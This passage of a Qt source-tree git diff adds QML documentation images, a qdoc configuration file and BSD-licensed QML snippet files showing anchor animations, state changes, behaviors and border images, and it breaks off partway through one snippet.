/dev/null +++ b/src/qml/doc/images/qml-grid-spacing.png diff --git a/src/qml/doc/images/qml-item-canvas-arcTo.png b/src/qml/doc/images/qml-item-canvas-arcTo.png Binary files differnew file mode 100644 index 0000000000..6bc187175a --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-arcTo.png diff --git a/src/qml/doc/images/qml-item-canvas-arcTo2.png b/src/qml/doc/images/qml-item-canvas-arcTo2.png Binary files differnew file mode 100644 index 0000000000..5f9d32d8d3 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-arcTo2.png diff --git a/src/qml/doc/images/qml-item-canvas-bezierCurveTo.png b/src/qml/doc/images/qml-item-canvas-bezierCurveTo.png Binary files differnew file mode 100644 index 0000000000..ffbca5d91e --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-bezierCurveTo.png diff --git a/src/qml/doc/images/qml-item-canvas-context.gif b/src/qml/doc/images/qml-item-canvas-context.gif Binary files differnew file mode 100644 index 0000000000..f18e52ca05 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-context.gif diff --git a/src/qml/doc/images/qml-item-canvas-math-rotate.png b/src/qml/doc/images/qml-item-canvas-math-rotate.png Binary files differnew file mode 100644 index 0000000000..e80cc09eae --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-math-rotate.png diff --git a/src/qml/doc/images/qml-item-canvas-math.png b/src/qml/doc/images/qml-item-canvas-math.png Binary files differnew file mode 100644 index 0000000000..c039a38532 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-math.png diff --git a/src/qml/doc/images/qml-item-canvas-rotate.png b/src/qml/doc/images/qml-item-canvas-rotate.png Binary files differnew file mode 100644 index 0000000000..20947fda49 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-rotate.png diff --git a/src/qml/doc/images/qml-item-canvas-scale.png b/src/qml/doc/images/qml-item-canvas-scale.png Binary files differnew file mode 100644 index 0000000000..3b26fde871 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-scale.png diff --git a/src/qml/doc/images/qml-item-canvas-scalex.png b/src/qml/doc/images/qml-item-canvas-scalex.png Binary files differnew file mode 100644 index 0000000000..d4e76aa932 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-scalex.png diff --git a/src/qml/doc/images/qml-item-canvas-startAngle.png b/src/qml/doc/images/qml-item-canvas-startAngle.png Binary files differnew file mode 100644 index 0000000000..f81562e5e4 --- /dev/null +++ b/src/qml/doc/images/qml-item-canvas-startAngle.png diff --git a/src/qml/doc/images/qml-listview-sections-example.png b/src/qml/doc/images/qml-listview-sections-example.png Binary files differnew file mode 100644 index 0000000000..4e8f0768b4 --- /dev/null +++ b/src/qml/doc/images/qml-listview-sections-example.png diff --git a/src/qml/doc/images/qml-mousearea-snippet.png b/src/qml/doc/images/qml-mousearea-snippet.png Binary files differnew file mode 100644 index 0000000000..15229446c7 --- /dev/null +++ b/src/qml/doc/images/qml-mousearea-snippet.png diff --git a/src/qml/doc/images/qml-xmllistmodel-example.png b/src/qml/doc/images/qml-xmllistmodel-example.png Binary files differnew file mode 100644 index 0000000000..be2d15d342 --- /dev/null +++ b/src/qml/doc/images/qml-xmllistmodel-example.png diff --git a/src/qml/doc/images/rect-border-width.png b/src/qml/doc/images/rect-border-width.png Binary files differnew file mode 100644 index 0000000000..e232cf3ebd --- /dev/null +++ b/src/qml/doc/images/rect-border-width.png diff --git a/src/qml/doc/images/rect-color.png b/src/qml/doc/images/rect-color.png Binary files differnew file mode 100644 index 0000000000..b258ba9b6c --- /dev/null +++ b/src/qml/doc/images/rect-color.png diff --git a/src/qml/doc/images/rect-smooth.png b/src/qml/doc/images/rect-smooth.png Binary files differnew file mode 100644 index 0000000000..7ffd8aba33 --- /dev/null +++ b/src/qml/doc/images/rect-smooth.png diff --git a/src/qml/doc/images/repeater-index.png b/src/qml/doc/images/repeater-index.png Binary files differnew file mode 100644 index 0000000000..3dbe6d0571 --- /dev/null +++ b/src/qml/doc/images/repeater-index.png diff --git a/src/qml/doc/images/repeater-modeldata.png b/src/qml/doc/images/repeater-modeldata.png Binary files differnew file mode 100644 index 0000000000..6d8df0d9d5 --- /dev/null +++ b/src/qml/doc/images/repeater-modeldata.png diff --git a/src/qml/doc/images/repeater-simple.png b/src/qml/doc/images/repeater-simple.png Binary files differnew file mode 100644 index 0000000000..6da62951dc --- /dev/null +++ b/src/qml/doc/images/repeater-simple.png diff --git a/src/qml/doc/images/repeater.png b/src/qml/doc/images/repeater.png Binary files differnew file mode 100644 index 0000000000..973df27a74 --- /dev/null +++ b/src/qml/doc/images/repeater.png diff --git a/src/qml/doc/images/translate.png b/src/qml/doc/images/translate.png Binary files differnew file mode 100644 index 0000000000..baf58b0eb6 --- /dev/null +++ b/src/qml/doc/images/translate.png diff --git a/src/qml/doc/images/verticalpositioner_example.png b/src/qml/doc/images/verticalpositioner_example.png Binary files differnew file mode 100644 index 0000000000..458dc7f481 --- /dev/null +++ b/src/qml/doc/images/verticalpositioner_example.png diff --git a/src/qml/doc/images/verticalpositioner_transition.gif b/src/qml/doc/images/verticalpositioner_transition.gif Binary files differnew file mode 100644 index 0000000000..ed61adb5ab --- /dev/null +++ b/src/qml/doc/images/verticalpositioner_transition.gif diff --git a/src/qml/doc/images/viewtransitions-basic.gif b/src/qml/doc/images/viewtransitions-basic.gif Binary files differnew file mode 100644 index 0000000000..b2a6a618c0 --- /dev/null +++ b/src/qml/doc/images/viewtransitions-basic.gif diff --git a/src/qml/doc/images/viewtransitions-delayedbyindex.gif b/src/qml/doc/images/viewtransitions-delayedbyindex.gif Binary files differnew file mode 100644 index 0000000000..4ece2a2ffb --- /dev/null +++ b/src/qml/doc/images/viewtransitions-delayedbyindex.gif diff --git a/src/qml/doc/images/viewtransitions-intermediatemove.gif b/src/qml/doc/images/viewtransitions-intermediatemove.gif Binary files differnew file mode 100644 index 0000000000..e826183b19 --- /dev/null +++ b/src/qml/doc/images/viewtransitions-intermediatemove.gif diff --git a/src/qml/doc/images/viewtransitions-interruptedbad.gif b/src/qml/doc/images/viewtransitions-interruptedbad.gif Binary files differnew file mode 100644 index 0000000000..d1f88f99bb --- /dev/null +++ b/src/qml/doc/images/viewtransitions-interruptedbad.gif diff --git a/src/qml/doc/images/viewtransitions-interruptedgood.gif b/src/qml/doc/images/viewtransitions-interruptedgood.gif Binary files differnew file mode 100644 index 0000000000..1d59db387e --- /dev/null +++ b/src/qml/doc/images/viewtransitions-interruptedgood.gif diff --git a/src/qml/doc/images/viewtransitions-pathanim.gif b/src/qml/doc/images/viewtransitions-pathanim.gif Binary files differnew file mode 100644 index 0000000000..e6bc737456 --- /dev/null +++ b/src/qml/doc/images/viewtransitions-pathanim.gif diff --git a/src/qml/doc/images/viewtransitions-scriptactionbad.gif b/src/qml/doc/images/viewtransitions-scriptactionbad.gif Binary files differnew file mode 100644 index 0000000000..9e618d911c --- /dev/null +++ b/src/qml/doc/images/viewtransitions-scriptactionbad.gif diff --git a/src/qml/doc/images/visualitemmodel.png b/src/qml/doc/images/visualitemmodel.png Binary files differnew file mode 100644 index 0000000000..5e6d1325b2 --- /dev/null +++ b/src/qml/doc/images/visualitemmodel.png diff --git a/src/qml/doc/qtqml.qdocconf b/src/qml/doc/qtqml.qdocconf new file mode 100644 index 0000000000..fdba644349 --- /dev/null +++ b/src/qml/doc/qtqml.qdocconf @@ -0,0 +1,90 @@ +project = QtQml +description = Qt QML Reference Documentation +url = http://qt-project.org/doc/qt-5.0/qtqml +version = 5.0.0 + +sourceencoding = UTF-8 +outputencoding = UTF-8 +naturallanguage = en_US +qhp.projects = QtCore + +depends += qtcore qtjsbackend qtxmlpatterns qtquick + +qhp.QtQml.file = qtqml.qhp +qhp.QtQml.namespace = org.qt-project.qtqml.500 +qhp.QtQml.virtualFolder = qdoc +qhp.QtQml.indexTitle = Qt QML Reference Documentation +qhp.QtQml.indexRoot = + +qhp.QtQml.filterAttributes = qtcore 5.0.0 qtrefdoc +qhp.QtQml.customFilters.Qt.name = QtQml 5.0.0 +qhp.QtQml.customFilters.Qt.filterAttributes = qtqml 5.0.0 +qhp.QtQml.subprojects = classes overviews examples +qhp.QtQml.subprojects.classes.title = Classes +qhp.QtQml.subprojects.classes.indexTitle = Qt QML's Classes +qhp.QtQml.subprojects.classes.selectors = class fake:headerfile +qhp.QtQml.subprojects.classes.sortPages = true +qhp.QtQml.subprojects.overviews.title = Overviews +qhp.QtQml.subprojects.overviews.indexTitle = All Overviews and HOWTOs +qhp.QtQml.subprojects.overviews.selectors = fake:page,group,module +qhp.QtQml.subprojects.examples.title = Qt QML Examples +qhp.QtQml.subprojects.examples.indexTitle = Qt QML Examples +qhp.QtQml.subprojects.examples.selectors = fake:example + +dita.metadata.default.author = Qt Project +dita.metadata.default.permissions = all +dita.metadata.default.publisher = Qt Project +dita.metadata.default.copyryear = 2012 +dita.metadata.default.copyrholder = Nokia +dita.metadata.default.audience = programmer + +sources.fileextensions = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc" +headers.fileextensions = "*.ch *.h *.h++ *.hh *.hpp *.hxx" + +examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml *.css" +examples.imageextensions = "*.png" + +outputdir = ../../../doc/qtqml +tagfile = ../../../doc/qtqml/qtcore.tags + +HTML.generatemacrefs = "true" +HTML.nobreadcrumbs = "true" + +HTML.templatedir = . + +HTML.stylesheets = ../../../doc/global/style/offline.css + +HTML.headerstyles = \ + " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/offline.css\" />\n" + +HTML.endheader = \ + "</head>\n" \ + +defines = Q_QDOC \ + QT_.*_SUPPORT \ + QT_.*_LIB \ + QT_COMPAT \ + QT_KEYPAD_NAVIGATION \ + QT_NO_EGL \ + Q_WS_.* \ + Q_OS_.* \ + Q_BYTE_ORDER \ + QT_DEPRECATED \ + QT_DEPRECATED_* \ + Q_NO_USING_KEYWORD \ + __cplusplus \ + Q_COMPILER_INITIALIZER_LISTS + +versionsym = QT_VERSION_STR + +codeindent = 1 + +headerdirs += .. + +sourcedirs += .. + +exampledirs += ../../../examples \ + ../ \ + snippets + +imagedirs += images diff --git a/doc/src/snippets/code/src_script_qjsengine.cpp b/src/qml/doc/snippets/code/src_script_qjsengine.cpp index 042bdd2760..042bdd2760 100644 --- a/doc/src/snippets/code/src_script_qjsengine.cpp +++ b/src/qml/doc/snippets/code/src_script_qjsengine.cpp diff --git a/doc/src/snippets/code/src_script_qjsvalue.cpp b/src/qml/doc/snippets/code/src_script_qjsvalue.cpp index f2873f290a..f2873f290a 100644 --- a/doc/src/snippets/code/src_script_qjsvalue.cpp +++ b/src/qml/doc/snippets/code/src_script_qjsvalue.cpp diff --git a/doc/src/snippets/code/src_script_qjsvalueiterator.cpp b/src/qml/doc/snippets/code/src_script_qjsvalueiterator.cpp index e26b9992f4..e26b9992f4 100644 --- a/doc/src/snippets/code/src_script_qjsvalueiterator.cpp +++ b/src/qml/doc/snippets/code/src_script_qjsvalueiterator.cpp diff --git a/doc/src/snippets/qml/Button.qml b/src/qml/doc/snippets/qml/Button.qml index 0525ac1383..0525ac1383 100644 --- a/doc/src/snippets/qml/Button.qml +++ b/src/qml/doc/snippets/qml/Button.qml diff --git a/doc/src/snippets/qml/SelfDestroyingRect.qml b/src/qml/doc/snippets/qml/SelfDestroyingRect.qml index baa4ab63a1..baa4ab63a1 100644 --- a/doc/src/snippets/qml/SelfDestroyingRect.qml +++ b/src/qml/doc/snippets/qml/SelfDestroyingRect.qml diff --git a/doc/src/snippets/qml/Sprite.qml b/src/qml/doc/snippets/qml/Sprite.qml index ec08963be5..ec08963be5 100644 --- a/doc/src/snippets/qml/Sprite.qml +++ b/src/qml/doc/snippets/qml/Sprite.qml diff --git a/src/qml/doc/snippets/qml/anchoranimation.qml b/src/qml/doc/snippets/qml/anchoranimation.qml new file mode 100644 index 0000000000..8f0603fab8 --- /dev/null +++ b/src/qml/doc/snippets/qml/anchoranimation.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Item { + id: container + width: 200; height: 200 + + Rectangle { + id: myRect + width: 100; height: 100 + color: "red" + } + + states: State { + name: "reanchored" + AnchorChanges { target: myRect; anchors.right: container.right } + } + + transitions: Transition { + // smoothly reanchor myRect and move into new position + AnchorAnimation { duration: 1000 } + } + + Component.onCompleted: container.state = "reanchored" +} +//![0] diff --git a/src/qml/doc/snippets/qml/anchorchanges.qml b/src/qml/doc/snippets/qml/anchorchanges.qml new file mode 100644 index 0000000000..9cc9d15221 --- /dev/null +++ b/src/qml/doc/snippets/qml/anchorchanges.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + id: window + width: 120; height: 120 + color: "black" + + Rectangle { id: myRect; width: 50; height: 50; color: "red" } + + states: State { + name: "reanchored" + + AnchorChanges { + target: myRect + anchors.top: window.top + anchors.bottom: window.bottom + } + PropertyChanges { + target: myRect + anchors.topMargin: 10 + anchors.bottomMargin: 10 + } + } + + MouseArea { anchors.fill: parent; onClicked: window.state = "reanchored" } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/animatedimage.qml b/src/qml/doc/snippets/qml/animatedimage.qml new file mode 100644 index 0000000000..a483619e11 --- /dev/null +++ b/src/qml/doc/snippets/qml/animatedimage.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +// This snippet should be turned into an example and put in +// examples/declarative/imageelements/animatedimage + +//! [document] +import QtQuick 2.0 + +Rectangle { + width: animation.width; height: animation.height + 8 + + AnimatedImage { id: animation; source: "animation.gif" } + + Rectangle { + property int frames: animation.frameCount + + width: 4; height: 8 + x: (animation.width - width) * animation.currentFrame / frames + y: animation.height + color: "red" + } +} +//! [document] diff --git a/doc/src/snippets/qml/application.qml b/src/qml/doc/snippets/qml/application.qml index 4e847176fa..4e847176fa 100644 --- a/doc/src/snippets/qml/application.qml +++ b/src/qml/doc/snippets/qml/application.qml diff --git a/src/qml/doc/snippets/qml/behavior.qml b/src/qml/doc/snippets/qml/behavior.qml new file mode 100644 index 0000000000..4776e09a54 --- /dev/null +++ b/src/qml/doc/snippets/qml/behavior.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + Behavior on width { + NumberAnimation { duration: 1000 } + } + + MouseArea { + anchors.fill: parent + onClicked: rect.width = 50 + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/borderimage/borderimage-scaled.qml b/src/qml/doc/snippets/qml/borderimage/borderimage-scaled.qml new file mode 100644 index 0000000000..468aa24eab --- /dev/null +++ b/src/qml/doc/snippets/qml/borderimage/borderimage-scaled.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Rectangle { + id: page + color: "white" + width: 180; height: 180 + +//! [scaled border image] +BorderImage { + width: 180; height: 180 + border { left: 30; top: 30; right: 30; bottom: 30 } + horizontalTileMode: BorderImage.Stretch + verticalTileMode: BorderImage.Stretch + source: "pics/borderframe.png" +} +//! [scaled border image] + + Rectangle { + x: 30; y: 0 + width: 1; height: 180 + color: "gray" + } + + Rectangle { + x: 150; y: 0 + width: 1; height: 180 + color: "gray" + } + + Rectangle { + x: 0; y: 30 + width: 180; height: 1 + color: "gray" + } + + Rectangle { + x: 0; y: 150 + width: 180; height: 1 + color: "gray" + } +} diff --git a/src/qml/doc/snippets/qml/borderimage/borderimage-tiled.qml b/src/qml/doc/snippets/qml/borderimage/borderimage-tiled.qml new file mode 100644 index 0000000000..69297378bf --- /dev/null +++ b/src/qml/doc/snippets/qml/borderimage/borderimage-tiled.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Rectangle { + id: page + color: "white" + width: 180; height: 180 + +//! [tiled border image] +BorderImage { + width: 180; height: 180 + border { left: 30; top: 30; right: 30; bottom: 30 } + horizontalTileMode: BorderImage.Repeat + verticalTileMode: BorderImage.Repeat + source: "pics/borderframe.png" +} +//! [tiled border image] + + Rectangle { + x: 30; y: 0 + width: 1; height: 180 + color: "gray" + } + + Rectangle { + x: 150; y: 0 + width: 1; height: 180 + color: "gray" + } + + Rectangle { + x: 0; y: 30 + width: 180; height: 1 + color: "gray" + } + + Rectangle { + x: 0; y: 150 + width: 180; height: 1 + color: "gray" + } +} diff --git a/src/qml/doc/snippets/qml/borderimage/normal-image.qml b/src/qml/doc/snippets/qml/borderimage/normal-image.qml new file mode 100644 index 0000000000..3bd34e3933 --- /dev/null +++ b/src/qml/doc/snippets/qml/borderimage/normal-image.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Rectangle { + id: page + color: "white" + width: 120; height: 120 + +//! [normal image] +Image { + source: "pics/borderframe.png" +} +//! [normal image] + + Rectangle { + x: 30; y: 0 + width: 1; height: 120 + color: "gray" + } + + Rectangle { + x: 90; y: 0 + width: 1; height: 120 + color: "gray" + } + + 